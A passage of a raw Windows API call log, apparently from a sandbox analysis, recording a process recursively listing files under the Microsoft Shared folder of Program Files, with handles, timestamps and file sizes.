lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0170.387] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0170.387] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0170.387] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0170.387] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0170.387] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.388] GetProcessHeap () returned 0x6a0000 [0170.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.388] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0170.388] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0170.388] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.388] GetProcessHeap () returned 0x6a0000 [0170.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.388] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0170.388] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.388] GetProcessHeap () returned 0x6a0000 [0170.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.388] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0170.388] GetProcessHeap () returned 0x6a0000 [0170.388] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.390] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.390] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0170.390] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0170.390] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0170.390] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.390] GetProcessHeap () returned 0x6a0000 [0170.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.390] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0170.390] GetProcessHeap () returned 0x6a0000 [0170.390] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.391] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.391] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0170.391] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0170.391] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.391] GetProcessHeap () returned 0x6a0000 [0170.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.391] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0170.391] GetProcessHeap () returned 0x6a0000 [0170.391] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.396] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.396] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0170.396] GetProcessHeap () returned 0x6a0000 [0170.396] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.400] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0170.401] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0170.402] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.403] GetProcessHeap () returned 0x6a0000 [0170.403] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.403] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0170.403] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.403] GetProcessHeap () returned 0x6a0000 [0170.403] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.403] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0170.403] GetProcessHeap () returned 0x6a0000 [0170.403] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.406] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, 